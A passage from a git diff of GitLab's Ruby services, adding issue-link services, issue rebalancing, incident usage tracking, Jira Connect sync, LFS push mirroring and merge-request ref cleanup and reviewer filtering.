+ attrs_changed || labels_changed || assignees_changed || reviewers_changed
end
def invalidate_cache_counts(issuable, users: [])
diff --git a/app/services/issuable_links/create_service.rb b/app/services/issuable_links/create_service.rb
new file mode 100644
index 00000000000..f148c503dcf
--- /dev/null
+++ b/app/services/issuable_links/create_service.rb
@@ -0,0 +1,119 @@
+# frozen_string_literal: true
+
+module IssuableLinks
+ class CreateService < BaseService
+ include IncidentManagement::UsageData
+
+ attr_reader :issuable, :current_user, :params
+
+ def initialize(issuable, user, params)
+ @issuable, @current_user, @params = issuable, user, params.dup
+ end
+
+ def execute
+ # If ALL referenced issues are already assigned to the given epic it renders a conflict status,
+ # otherwise create issue links for the issues which
+ # are still not assigned and return success message.
+ if render_conflict_error?
+ return error(issuables_assigned_message, 409)
+ end
+
+ if render_not_found_error?
+ return error(issuables_not_found_message, 404)
+ end
+
+ @errors = []
+ create_links
+
+ if @errors.present?
+ return error(@errors.join('. '), 422)
+ end
+
+ track_event
+
+ success
+ end
+
+ private
+
+ def render_conflict_error?
+ referenced_issuables.present? && (referenced_issuables - previous_related_issuables).empty?
+ end
+
+ def render_not_found_error?
+ linkable_issuables(referenced_issuables).empty?
+ end
+
+ def create_links
+ objects = linkable_issuables(referenced_issuables)
+ link_issuables(objects)
+ end
+
+ def link_issuables(target_issuables)
+ target_issuables.each do |referenced_object|
+ link = relate_issuables(referenced_object)
+
+ unless link.valid?
+ @errors << _("%{ref} cannot be added: %{error}") % {
+ ref: referenced_object.to_reference,
+ error: link.errors.messages.values.flatten.to_sentence
+ }
+ end
+ end
+ end
+
+ def referenced_issuables
+ @referenced_issuables ||= begin
+ target_issuable = params[:target_issuable]
+
+ if params[:issuable_references].present?
+ extract_references
+ elsif target_issuable
+ [target_issuable]
+ else
+ []
+ end
+ end
+ end
+
+ def extract_references
+ issuable_references = params[:issuable_references]
+ text = issuable_references.join(' ')
+
+ extractor = Gitlab::ReferenceExtractor.new(issuable.project, current_user)
+ extractor.analyze(text, extractor_context)
+
+ references(extractor)
+ end
+
+ def references(extractor)
+ extractor.issues
+ end
+
+ def extractor_context
+ {}
+ end
+
+ def linkable_issuables(objects)
+ raise NotImplementedError
+ end
+
+ def previous_related_issuables
+ raise NotImplementedError
+ end
+
+ def relate_issuables(referenced_object)
+ raise NotImplementedError
+ end
+
+ def issuables_assigned_message
+ 'Issue(s) already assigned'
+ end
+
+ def issuables_not_found_message
+ 'No Issue found for given params'
+ end
+ end
+end
+
+IssuableLinks::CreateService.prepend_if_ee('EE::IssuableLinks::CreateService')
diff --git a/app/services/issuable_links/destroy_service.rb b/app/services/issuable_links/destroy_service.rb
new file mode 100644
index 00000000000..57e1314e0da
--- /dev/null
+++ b/app/services/issuable_links/destroy_service.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module IssuableLinks
+ class DestroyService < BaseService
+ include IncidentManagement::UsageData
+
+ attr_reader :link, :current_user
+
+ def initialize(link, user)
+ @link = link
+ @current_user = user
+ end
+
+ def execute
+ return error(not_found_message, 404) unless permission_to_remove_relation?
+
+ remove_relation
+ create_notes
+ track_event
+
+ success(message: 'Relation was removed')
+ end
+
+ private
+
+ def remove_relation
+ link.destroy!
+ end
+
+ def not_found_message
+ 'No Issue Link found'
+ end
+ end
+end
diff --git a/app/services/issuable_links/list_service.rb b/app/services/issuable_links/list_service.rb
new file mode 100644
index 00000000000..10a2da7eb03
--- /dev/null
+++ b/app/services/issuable_links/list_service.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module IssuableLinks
+ class ListService
+ include Gitlab::Routing
+
+ attr_reader :issuable, :current_user
+
+ def initialize(issuable, user)
+ @issuable, @current_user = issuable, user
+ end
+
+ def execute
+ serializer.new(current_user: current_user, issuable: issuable).represent(child_issuables)
+ end
+
+ private
+
+ def serializer
+ raise NotImplementedError
+ end
+
+ def preload_for_collection
+ [{ project: :namespace }, :assignees]
+ end
+ end
+end
diff --git a/app/services/issue_links/create_service.rb b/app/services/issue_links/create_service.rb
new file mode 100644
index 00000000000..63762b1af79
--- /dev/null
+++ b/app/services/issue_links/create_service.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module IssueLinks
+ class CreateService < IssuableLinks::CreateService
+ # rubocop: disable CodeReuse/ActiveRecord
+ def relate_issuables(referenced_issue)
+ link = IssueLink.find_or_initialize_by(source: issuable, target: referenced_issue)
+
+ set_link_type(link)
+
+ if link.changed? && link.save
+ create_notes(referenced_issue)
+ end
+
+ link
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ def linkable_issuables(issues)
+ @linkable_issuables ||= begin
+ issues.select { |issue| can?(current_user, :admin_issue_link, issue) }
+ end
+ end
+
+ def create_notes(referenced_issue)
+ SystemNoteService.relate_issue(issuable, referenced_issue, current_user)
+ SystemNoteService.relate_issue(referenced_issue, issuable, current_user)
+ end
+
+ def previous_related_issuables
+ @related_issues ||= issuable.related_issues(current_user).to_a
+ end
+
+ private
+
+ def set_link_type(_link)
+ # EE only
+ end
+
+ def track_event
+ track_incident_action(current_user, issuable, :incident_relate)
+ end
+ end
+end
+
+IssueLinks::CreateService.prepend_if_ee('EE::IssueLinks::CreateService')
diff --git a/app/services/issue_links/destroy_service.rb b/app/services/issue_links/destroy_service.rb
new file mode 100644
index 00000000000..25a45fc697b
--- /dev/null
+++ b/app/services/issue_links/destroy_service.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module IssueLinks
+ class DestroyService < IssuableLinks::DestroyService
+ private
+
+ def source
+ @source ||= link.source
+ end
+
+ def target
+ @target ||= link.target
+ end
+
+ def permission_to_remove_relation?
+ can?(current_user, :admin_issue_link, source) && can?(current_user, :admin_issue_link, target)
+ end
+
+ def create_notes
+ SystemNoteService.unrelate_issue(source, target, current_user)
+ SystemNoteService.unrelate_issue(target, source, current_user)
+ end
+
+ def track_event
+ track_incident_action(current_user, target, :incident_unrelate)
+ end
+ end
+end
diff --git a/app/services/issue_links/list_service.rb b/app/services/issue_links/list_service.rb
new file mode 100644
index 00000000000..5ac731d3fbc
--- /dev/null
+++ b/app/services/issue_links/list_service.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module IssueLinks
+ class ListService < IssuableLinks::ListService
+ extend ::Gitlab::Utils::Override
+
+ private
+
+ def child_issuables
+ issuable.related_issues(current_user, preload: preload_for_collection)
+ end
+
+ override :serializer
+ def serializer
+ LinkedProjectIssueSerializer
+ end
+ end
+end
diff --git a/app/services/issue_rebalancing_service.rb b/app/services/issue_rebalancing_service.rb
new file mode 100644
index 00000000000..4138c6441c8
--- /dev/null
+++ b/app/services/issue_rebalancing_service.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+class IssueRebalancingService
+ MAX_ISSUE_COUNT = 10_000
+ TooManyIssues = Class.new(StandardError)
+
+ def initialize(issue)
+ @issue = issue
+ @base = Issue.relative_positioning_query_base(issue)
+ end
+
+ def execute
+ gates = [issue.project, issue.project.group].compact
+ return unless gates.any? { |gate| Feature.enabled?(:rebalance_issues, gate) }
+
+ raise TooManyIssues, "#{issue_count} issues" if issue_count > MAX_ISSUE_COUNT
+
+ start = RelativePositioning::START_POSITION - (gaps / 2) * gap_size
+
+ Issue.transaction do
+ indexed_ids.each_slice(100) { |pairs| assign_positions(start, pairs) }
+ end
+ end
+
+ private
+
+ attr_reader :issue, :base
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def indexed_ids
+ base.reorder(:relative_position, :id).pluck(:id).each_with_index
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def assign_positions(start, positions)
+ values = positions.map do |id, index|
+ "(#{id}, #{start + (index * gap_size)})"
+ end.join(', ')
+
+ Issue.connection.exec_query(<<~SQL, "rebalance issue positions")
+ WITH cte(cte_id, new_pos) AS (
+ SELECT *
+ FROM (VALUES #{values}) as t (id, pos)
+ )
+ UPDATE #{Issue.table_name}
+ SET relative_position = cte.new_pos
+ FROM cte
+ WHERE cte_id = id
+ SQL
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ def issue_count
+ @issue_count ||= base.count
+ end
+
+ def gaps
+ issue_count - 1
+ end
+
+ def gap_size
+ # We could try to split the available range over the number of gaps we need,
+ # but IDEAL_DISTANCE * MAX_ISSUE_COUNT is only 0.1% of the available range,
+ # so we are guaranteed not to exhaust it by using this static value.
+ #
+ # If we raise MAX_ISSUE_COUNT or IDEAL_DISTANCE significantly, this may
+ # change!
+ RelativePositioning::IDEAL_DISTANCE
+ end
+end
diff --git a/app/services/issues/base_service.rb b/app/services/issues/base_service.rb
index 9e72f6dad8d..0ed2b08b7b1 100644
--- a/app/services/issues/base_service.rb
+++ b/app/services/issues/base_service.rb
@@ -2,6 +2,8 @@
module Issues
class BaseService < ::IssuableBaseService
+ include IncidentManagement::UsageData
+
def hook_data(issue, action, old_associations: {})
hook_data = issue.to_hook_data(current_user, old_associations: old_associations)
hook_data[:object_attributes][:action] = action
@@ -17,6 +19,19 @@ module Issues
Issues::CloseService
end
+ NO_REBALANCING_NEEDED = ((RelativePositioning::MIN_POSITION * 0.9999)..(RelativePositioning::MAX_POSITION * 0.9999)).freeze
+
+ def rebalance_if_needed(issue)
+ return unless issue
+ return if issue.relative_position.nil?
+ return if NO_REBALANCING_NEEDED.cover?(issue.relative_position)
+
+ gates = [issue.project, issue.project.group].compact
+ return unless gates.any? { |gate| Feature.enabled?(:rebalance_issues, gate) }
+
+ IssueRebalancingWorker.perform_async(nil, issue.project_id)
+ end
+
private
def create_assignee_note(issue, old_assignees)
@@ -46,6 +61,22 @@ module Issues
Milestones::IssuesCountService.new(milestone).delete_cache
end
+
+ # Applies label "incident" (creates it if missing) to incident issues.
+ # Please use in "after" hooks only to ensure we are not appyling
+ # labels prematurely.
+ def add_incident_label(issue)
+ return unless issue.incident?
+
+ label = ::IncidentManagement::CreateIncidentLabelService
+ .new(project, current_user)
+ .execute
+ .payload[:label]
+
+ return if issue.label_ids.include?(label.id)
+
+ issue.labels << label
+ end
end
end
diff --git a/app/services/issues/close_service.rb b/app/services/issues/close_service.rb
index e431c766df8..c3677de015f 100644
--- a/app/services/issues/close_service.rb
+++ b/app/services/issues/close_service.rb
@@ -37,6 +37,7 @@ module Issues
execute_hooks(issue, 'close')
invalidate_cache_counts(issue, users: issue.assignees)
issue.update_project_counter_caches
+ track_incident_action(current_user, issue, :incident_closed)
store_first_mentioned_in_commit_at(issue, closed_via) if closed_via.is_a?(MergeRequest)
diff --git a/app/services/issues/create_service.rb b/app/services/issues/create_service.rb
index c0194f5b847..fb7683f940d 100644
--- a/app/services/issues/create_service.rb
+++ b/app/services/issues/create_service.rb
@@ -5,31 +5,33 @@ module Issues
include SpamCheckMethods
include ResolveDiscussions
- def execute
+ def execute(skip_system_notes: false)
@issue = BuildService.new(project, current_user, params).execute
filter_spam_check_params
filter_resolve_discussion_params
- create(@issue)
+ create(@issue, skip_system_notes: skip_system_notes)
end
def before_create(issue)
spam_check(issue, current_user, action: :create)
- issue.move_to_end
# current_user (defined in BaseService) is not available within run_after_commit block
user = current_user
issue.run_after_commit do
NewIssueWorker.perform_async(issue.id, user.id)
+ IssuePlacementWorker.perform_async(nil, issue.project_id)
end
end
- def after_create(issuable)
- todo_service.new_issue(issuable, current_user)
+ def after_create(issue)
+ add_incident_label(issue)
+ todo_service.new_issue(issue, current_user)
user_agent_detail_service.create
- resolve_discussions_with_issue(issuable)
- delete_milestone_total_issue_counter_cache(issuable.milestone)
+ resolve_discussions_with_issue(issue)
+ delete_milestone_total_issue_counter_cache(issue.milestone)
+ track_incident_action(current_user, issue, :incident_created)
super
end
diff --git a/app/services/issues/duplicate_service.rb b/app/services/issues/duplicate_service.rb
index c936d75e277..feb496542c8 100644
--- a/app/services/issues/duplicate_service.rb
+++ b/app/services/issues/duplicate_service.rb
@@ -12,6 +12,8 @@ module Issues
close_service.new(project, current_user, {}).execute(duplicate_issue)
duplicate_issue.update(duplicated_to: canonical_issue)
+
+ relate_two_issues(duplicate_issue, canonical_issue)
end
private
@@ -23,7 +25,10 @@ module Issues
def create_issue_canonical_note(canonical_issue, duplicate_issue)
SystemNoteService.mark_canonical_issue_of_duplicate(canonical_issue, canonical_issue.project, current_user, duplicate_issue)
end
+
+ def relate_two_issues(duplicate_issue, canonical_issue)
+ params = { target_issuable: canonical_issue }
+ IssueLinks::CreateService.new(duplicate_issue, current_user, params).execute
+ end
end
end
-
-Issues::DuplicateService.prepend_if_ee('EE::Issues::DuplicateService')
diff --git a/app/services/issues/move_service.rb b/app/services/issues/move_service.rb
index ce1466307e1..60e0d1eec3d 100644
--- a/app/services/issues/move_service.rb
+++ b/app/services/issues/move_service.rb
@@ -38,6 +38,7 @@ module Issues
def update_old_entity
super
+ rewrite_related_issues
mark_as_moved
end
@@ -51,13 +52,24 @@ module Issues
}
new_params = original_entity.serializable_hash.symbolize_keys.merge(new_params)
- CreateService.new(@target_project, @current_user, new_params).execute
+
+ # Skip creation of system notes for existing attributes of the issue. The system notes of the old
+ # issue are copied over so we don't want to end up with duplicate notes.
+ CreateService.new(@target_project, @current_user, new_params).execute(skip_system_notes: true)
end
def mark_as_moved
original_entity.update(moved_to: new_entity)
end
+ def rewrite_related_issues
+ source_issue_links = IssueLink.for_source_issue(original_entity)
+ source_issue_links.update_all(source_id: new_entity.id)
+
+ target_issue_links = IssueLink.for_target_issue(original_entity)
+ target_issue_links.update_all(target_id: new_entity.id)
+ end
+
def notify_participants
notification_service.async.issue_moved(original_entity, new_entity, @current_user)
end
diff --git a/app/services/issues/related_branches_service.rb b/app/services/issues/related_branches_service.rb
index 46076218857..98d8412102f 100644
--- a/app/services/issues/related_branches_service.rb
+++ b/app/services/issues/related_branches_service.rb
@@ -24,7 +24,7 @@ module Issues
return unless target
- pipeline = project.pipeline_for(branch_name, target.sha)
+ pipeline = project.latest_pipeline(branch_name, target.sha)
pipeline.detailed_status(current_user) if can?(current_user, :read_pipeline, pipeline)
end
diff --git a/app/services/issues/reopen_service.rb b/app/services/issues/reopen_service.rb
index 0ffe33dd317..e2b1b5400c7 100644
--- a/app/services/issues/reopen_service.rb
+++ b/app/services/issues/reopen_service.rb
@@ -13,6 +13,7 @@ module Issues
invalidate_cache_counts(issue, users: issue.assignees)
issue.update_project_counter_caches
delete_milestone_closed_issue_counter_cache(issue.milestone)
+ track_incident_action(current_user, issue, :incident_reopened)
end
issue
diff --git a/app/services/issues/update_service.rb b/app/services/issues/update_service.rb
index ac7baba3b7c..ce21b2e0275 100644
--- a/app/services/issues/update_service.rb
+++ b/app/services/issues/update_service.rb
@@ -22,6 +22,7 @@ module Issues
end
def after_update(issue)
+ add_incident_label(issue)
IssuesChannel.broadcast_to(issue, event: 'updated') if Gitlab::ActionCable::Config.in_app? || Feature.enabled?(:broadcast_issue_updates, issue.project)
end
@@ -44,12 +45,14 @@ module Issues
create_assignee_note(issue, old_assignees)
notification_service.async.reassigned_issue(issue, current_user, old_assignees)
todo_service.reassigned_assignable(issue, current_user, old_assignees)
+ track_incident_action(current_user, issue, :incident_assigned)
end
if issue.previous_changes.include?('confidential')
# don't enqueue immediately to prevent todos removal in case of a mistake
TodosDestroyer::ConfidentialIssueWorker.perform_in(Todo::WAIT_FOR_DELETE, issue.id) if issue.confidential?
create_confidentiality_note(issue)
+ track_usage_event(:incident_management_incident_change_confidential, current_user.id)
end
added_labels = issue.labels - old_labels
@@ -83,6 +86,7 @@ module Issues
raise ActiveRecord::RecordNotFound unless issue_before || issue_after
issue.move_between(issue_before, issue_after)
+ rebalance_if_needed(issue)
end
# rubocop: disable CodeReuse/ActiveRecord
diff --git a/app/services/issues/zoom_link_service.rb b/app/services/issues/zoom_link_service.rb
index 9572cf50564..1384e2f83b2 100644
--- a/app/services/issues/zoom_link_service.rb
+++ b/app/services/issues/zoom_link_service.rb
@@ -60,6 +60,7 @@ module Issues
if @issue.persisted?
# Save the meeting directly since we only want to update one meeting, not all
zoom_meeting.save
+ track_incident_action(current_user, issue, :incident_zoom_meeting)
success(message: _('Zoom meeting added'))
else
success(message: _('Zoom meeting added'), payload: { zoom_meetings: [zoom_meeting] })
diff --git a/app/services/jira_connect/sync_service.rb b/app/services/jira_connect/sync_service.rb
new file mode 100644
index 00000000000..07a648bb8c9
--- /dev/null
+++ b/app/services/jira_connect/sync_service.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module JiraConnect
+ class SyncService
+ def initialize(project)
+ self.project = project
+ end
+
+ def execute(commits: nil, branches: nil, merge_requests: nil)
+ JiraConnectInstallation.for_project(project).each do |installation|
+ client = Atlassian::JiraConnect::Client.new(installation.base_url, installation.shared_secret)
+
+ response = client.store_dev_info(project: project, commits: commits, branches: branches, merge_requests: merge_requests)
+
+ log_response(response)
+ end
+ end
+
+ private
+
+ attr_accessor :project
+
+ def log_response(response)
+ message = {
+ message: 'response from jira dev_info api',
+ integration: 'JiraConnect',
+ project_id: project.id,
+ project_path: project.full_path,
+ jira_response: response&.to_json
+ }
+
+ if response && response['errorMessages']
+ logger.error(message)
+ else
+ logger.info(message)
+ end
+ end
+
+ def logger
+ Gitlab::ProjectServiceLogger
+ end
+ end
+end
diff --git a/app/services/jira_connect_subscriptions/base_service.rb b/app/services/jira_connect_subscriptions/base_service.rb
new file mode 100644
index 00000000000..0e5bb91660e
--- /dev/null
+++ b/app/services/jira_connect_subscriptions/base_service.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module JiraConnectSubscriptions
+ class BaseService < ::BaseService
+ attr_accessor :jira_connect_installation, :current_user, :params
+
+ def initialize(jira_connect_installation, user = nil, params = {})
+ @jira_connect_installation, @current_user, @params = jira_connect_installation, user, params.dup
+ end
+ end
+end
diff --git a/app/services/jira_connect_subscriptions/create_service.rb b/app/services/jira_connect_subscriptions/create_service.rb
new file mode 100644
index 00000000000..8e794d3acf7
--- /dev/null
+++ b/app/services/jira_connect_subscriptions/create_service.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module JiraConnectSubscriptions
+ class CreateService < ::JiraConnectSubscriptions::BaseService
+ include Gitlab::Utils::StrongMemoize
+
+ def execute
+ unless namespace && can?(current_user, :create_jira_connect_subscription, namespace)
+ return error('Invalid namespace. Please make sure you have sufficient permissions', 401)
+ end
+
+ create_subscription
+ end
+
+ private
+
+ def create_subscription
+ subscription = JiraConnectSubscription.new(installation: jira_connect_installation, namespace: namespace)
+
+ if subscription.save
+ success
+ else
+ error(subscription.errors.full_messages.join(', '), 422)
+ end
+ end
+
+ def namespace
+ strong_memoize(:namespace) do
+ Namespace.find_by_full_path(params[:namespace_path])
+ end
+ end
+ end
+end
diff --git a/app/services/lfs/push_service.rb b/app/services/lfs/push_service.rb
new file mode 100644
index 00000000000..6e1a11ebff8
--- /dev/null
+++ b/app/services/lfs/push_service.rb
@@ -0,0 +1,80 @@
+# frozen_string_literal: true
+
+module Lfs
+ # Lfs::PushService pushes the LFS objects associated with a project to a
+ # remote URL
+ class PushService < BaseService
+ include Gitlab::Utils::StrongMemoize
+
+ # Match the canonical LFS client's batch size:
+ # https://github.com/git-lfs/git-lfs/blob/master/tq/transfer_queue.go#L19
+ BATCH_SIZE = 100
+
+ def execute
+ lfs_objects_relation.each_batch(of: BATCH_SIZE) do |objects|
+ push_objects(objects)
+ end
+
+ success
+ rescue => err
+ error(err.message)
+ end
+
+ private
+
+ # Currently we only set repository_type for design repository objects, so
+ # push mirroring must send objects with a `nil` repository type - but if the
+ # wiki repository uses LFS, its objects will also be sent. This will be
+ # addressed by https://gitlab.com/gitlab-org/gitlab/-/issues/250346
+ def lfs_objects_relation
+ project.lfs_objects_for_repository_types(nil, :project)
+ end
+
+ def push_objects(objects)
+ rsp = lfs_client.batch('upload', objects)
+ objects = objects.index_by(&:oid)
+
+ rsp.fetch('objects', []).each do |spec|
+ actions = spec['actions']
+ object = objects[spec['oid']]
+
+ upload_object!(object, spec) if actions&.key?('upload')
+ verify_object!(object, spec) if actions&.key?('verify')
+ end
+ end
+
+ def upload_object!(object, spec)
+ authenticated = spec['authenticated']
+ upload = spec.dig('actions', 'upload')
+
+ # The server wants us to upload the object but something is wrong
+ unless object && object.size == spec['size'].to_i
+ log_error("Couldn't match object #{spec['oid']}/#{spec['size']}")
+ return
+ end
+
+ lfs_client.upload(object, upload, authenticated: authenticated)
+ end
+
+ def verify_object!(object, spec)
+ # TODO: the remote has requested that we make another call to verify that
+ # the object has been sent correctly.
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/250654
+ log_error("LFS upload verification requested, but not supported for #{object.oid}")
+ end
+
+ def url
+ params.fetch(:url)
+ end
+
+ def credentials
+ params.fetch(:credentials)
+ end
+
+ def lfs_client
+ strong_memoize(:lfs_client) do
+ Gitlab::Lfs::Client.new(url, credentials: credentials)
+ end
+ end
+ end
+end
diff --git a/app/services/merge_requests/base_service.rb b/app/services/merge_requests/base_service.rb
index 7e301f311e9..abc3f99797d 100644
--- a/app/services/merge_requests/base_service.rb
+++ b/app/services/merge_requests/base_service.rb
@@ -23,6 +23,8 @@ module MergeRequests
merge_data = hook_data(merge_request, action, old_rev: old_rev, old_associations: old_associations)
merge_request.project.execute_hooks(merge_data, :merge_request_hooks)
merge_request.project.execute_services(merge_data, :merge_request_hooks)
+
+ enqueue_jira_connect_messages_for(merge_request)
end
def cleanup_environments(merge_request)
@@ -52,6 +54,14 @@ module MergeRequests
private
+ def enqueue_jira_connect_messages_for(merge_request)
+ return unless project.jira_subscription_exists?
+
+ if Atlassian::JiraIssueKeyExtractor.has_keys?(merge_request.title, merge_request.description)
+ JiraConnect::SyncMergeRequestWorker.perform_async(merge_request.id)
+ end
+ end
+
def create(merge_request)
self.params = assign_allowed_merge_params(merge_request, params)
@@ -87,6 +97,28 @@ module MergeRequests
unless merge_request.can_allow_collaboration?(current_user)
params.delete(:allow_collaboration)
end
+
+ filter_reviewer(merge_request)
+ end
+
+ def filter_reviewer(merge_request)
+ return if params[:reviewer_ids].blank?
+
+ unless can_admin_issuable?(merge_request) && merge_request.allows_reviewers?
+ params.delete(:reviewer_ids)
+
+ return
+ end
+
+ reviewer_ids = params[:reviewer_ids].select { |reviewer_id| user_can_read?(merge_request, reviewer_id) }
+
+ if params[:reviewer_ids].map(&:to_s) == [IssuableFinder::Params::NONE]
+ params[:reviewer_ids] = []
+ elsif reviewer_ids.any?
+ params[:reviewer_ids] = reviewer_ids
+ else
+ params.delete(:reviewer_ids)
+ end
end
def merge_request_metrics_service(merge_request)
diff --git a/app/services/merge_requests/cleanup_refs_service.rb b/app/services/merge_requests/cleanup_refs_service.rb
new file mode 100644
index 00000000000..0f03f5f09b4
--- /dev/null
+++ b/app/services/merge_requests/cleanup_refs_service.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+module MergeRequests
+ class CleanupRefsService
+ include BaseServiceUtility
+
+ TIME_THRESHOLD = 14.days
+
+ attr_reader :merge_request
+
+ def self.schedule(merge_request)
+ MergeRequestCleanupRefsWorker.perform_in(TIME_THRESHOLD, merge_request.id)
+ end
+
+ def initialize(merge_request)
+ @merge_request = merge_request
+ @repository = merge_request.project.repository
+ @ref_path = merge_request.ref_path
+ @merge_ref_path = merge_request.merge_ref_path
+ @ref_head_sha = @repository.commit(merge_request.ref_path).id
+ @merge_ref_sha = merge_request.merge_ref_head&.id
+ end
+
+ def execute
+ return error("Merge request has not been closed nor merged for #{TIME_THRESHOLD.inspect}.") unless eligible?
+
+ # Ensure that commit shas of refs are kept around so we won't lose them when GC runs.
+ keep_around
+
+ return error('Failed to create keep around refs.') unless kept_around?
+ return error('Failed to cache merge ref sha.') unless cache_merge_ref_sha
+
+ delete_refs
+ success
+ end
+
+ private
+
+ attr_reader :repository, :ref_path, :merge_ref_path, :ref_head_sha, :merge_ref_sha
+
+ def eligible?
+ return met_time_threshold?(merge_request.metrics&.latest_closed_at) if merge_request.closed?
+
+ merge_request.merged? && met_time_threshold?(merge_request.metrics&.merged_at)
+ end
+
+ def met_time_threshold?(attr)
+ attr.nil? || attr.to_i <= TIME_THRESHOLD.ago.to_i
+ end
+
+ def kept_around?
+ service = Gitlab::Git::KeepAround.new(repository)
+
+ [ref_head_sha, merge_ref_sha].compact.all? do |sha|
+ service.kept_around?(sha)
+ end
+ end
+
+ def keep_around
+ repository.keep_around(ref_head_sha, merge_ref_sha)
+ end
+
+ def cache_merge_ref_sha
+ return true if merge_ref_sha.nil?
+
+ # Caching the merge ref sha is needed before we delete the merge ref so
+ # we can still show the merge ref diff (via `MergeRequest#merge_ref_head`)
+ merge_request.update_column(:merge_ref_sha, merge_ref_sha)
+ end
+
+ def delete_refs
+ repository.delete_refs(ref_path, merge_ref_path)
+ end
+ end
+end
diff --git a/app/services/merge_requests/close_service.rb b/app/services/merge_requests/close_service.rb
index c2174d2a130..b0a7face594 100644
--- a/app/services/merge_requests/close_service.rb
+++ b/app/services/merge_requests/close_service.rb
@@ -2,6 +2,8 @@
module MergeRequests
class CloseService < MergeRequests::BaseService
+ include RemovesRefs
+
def execute(merge_request, commit = nil)
return merge_request unless can?(current_user, :update_merge_request, merge_request)
@@ -19,6 +21,7 @@ module MergeRequests
merge_request.update_project_counter_caches
cleanup_environments(merge_request)
abort_auto_merge(merge_request, 'merge request was closed')
+ cleanup_refs(merge_request)
end
merge_request
diff --git a/app/services/merge_requests/create_pipeline_service.rb b/app/services/merge_requests/create_pipeline_service.rb
index f9352f10fea..46c4c102091 100644
--- a/app/services/merge_requests/create_pipeline_service.rb
+++ b/app/services/merge_requests/create_pipeline_service.rb
@@ -48,12 +48,18 @@ module MergeRequests
end
def can_create_pipeline_in_target_project?(merge_request)
- if Gitlab::Ci::Features.allow_to_create_merge_request_pipelines_in_target_project?(merge_request.target_project)
- can?(current_user, :create_pipeline, merge_request.target_project)
- else
+ if Gitlab::Ci::Features.disallow_to_create_merge_request_pipelines_in_target_project?(merge_request.target_project)
merge_request.for_same_project?
+ else
+ can?(current_user, :create_pipeline, merge_request.target_project) &&
+ can_update_source_branch_in_target_project?(merge_request)
end
end
+
+ def can_update_source_branch_in_target_project?(merge_request)
+ ::Gitlab::UserAccess.new(current_user, container: merge_request.target_project)
+ .can_update_branch?(merge_request.source_branch_ref)
+ end
end
end
diff --git a/app/services/merge_requests/merge_service.rb b/app/services/merge_requests/merge_service.rb
index 961a7cb1ef6..437e87dadf7 100644
--- a/app/services/merge_requests/merge_service.rb
+++ b/app/services/merge_requests/merge_service.rb
@@ -10,13 +10,14 @@ module MergeRequests
class MergeService < MergeRequests::MergeBaseService
delegate :merge_jid, :state, to: :@merge_request
- def execute(merge_request)
+ def execute(merge_request, options = {})
if project.merge_requests_ff_only_enabled && !self.is_a?(FfMergeService)
FfMergeService.new(project, current_user, params).execute(merge_request)
return
end
@merge_request = merge_request
+ @options = options
validate!
@@ -55,7 +56,7 @@ module MergeRequests
error =
if @merge_request.should_be_rebased?
'Only fast-forward merge is allowed for your project. Please update your source branch'
- elsif !@merge_request.mergeable?
+ elsif !@merge_request.mergeable?(skip_discussions_check: @options[:skip_discussions_check])
'Merge request is not mergeable'
elsif !@merge_request.squash && project.squash_always?
'This project requires squashing commits when merge requests are accepted.'
diff --git a/app/services/merge_requests/post_merge_service.rb b/app/services/merge_requests/post_merge_service.rb
index fdf8f442297..1c78fca3c26 100644
--- a/app/services/merge_requests/post_merge_service.rb
+++ b/app/services/merge_requests/post_merge_service.rb
@@ -7,6 +7,8 @@ module MergeRequests
# and execute all hooks and notifications
#
class PostMergeService < MergeRequests::BaseService
+ include RemovesRefs
+
def execute(merge_request)
merge_request.mark_as_merged
close_issues(merge_request)
@@ -20,6 +22,7 @@ module MergeRequests
delete_non_latest_diffs(merge_request)
cancel_review_app_jobs!(merge_request)
cleanup_environments(merge_request)
+ cleanup_refs(merge_request)
end
private
diff --git a/app/services/merge_requests/refresh_service.rb b/app/services/merge_requests/refresh_service.rb
index 56a91fa0305..405b8fe9c9e 100644
--- a/app/services/merge_requests/refresh_service.rb
+++ b/app/services/merge_requests/refresh_service.rb
@@ -2,6 +2,7 @@
module MergeRequests
class RefreshService < MergeRequests::BaseService
+ include Gitlab::Utils::StrongMemoize
attr_reader :push
def execute(oldrev, newrev, ref)
@@ -23,25 +24,37 @@ module MergeRequests
post_merge_manually_merged
link_forks_lfs_objects
reload_merge_requests
- outdate_suggestions
- refresh_pipelines_on_merge_requests
- abort_auto_merges
+
+ merge_requests_for_source_branch.each do |mr|
+ outdate_suggestions(mr)
+ refresh_pipelines_on_merge_requests(mr)
+ abort_auto_merges(mr)
+ mark_pending_todos_done(mr)
+ end
+
abort_ff_merge_requests_with_when_pipeline_succeeds
- mark_pending_todos_done
cache_merge_requests_closing_issues
- # Leave a system note if a branch was deleted/added
- if @push.branch_added? || @push.branch_removed?
- comment_mr_branch_presence_changed
- end
+ merge_requests_for_source_branch.each do |mr|
+ # Leave a system note if a branch was deleted/added
+ if branch_added_or_removed?
+ comment_mr_branch_presence_changed(mr)
+ end
- notify_about_push
- mark_mr_as_wip_from_commits
- execute_mr_web_hooks
+ notify_about_push(mr)
+ mark_mr_as_wip_from_commits(mr)
+ execute_mr_web_hooks(mr)
+ end
true
end
+ def branch_added_or_removed?
+ strong_memoize(:branch_added_or_removed) do
+ @push.branch_added? || @push.branch_removed?
+ end
+ end
+
def close_upon_missing_source_branch_ref
# MergeRequest#reload_diff ignores not opened MRs. This means it won't
# create an `empty` diff for `closed` MRs without a source branch, keeping
@@ -140,25 +153,22 @@ module MergeRequests
merge_request.source_branch == @push.branch_name
end
- def outdate_suggestions
- outdate_service = Suggestions::OutdateService.new
+ def outdate_suggestions(merge_request)
+ outdate_service.execute(merge_request)
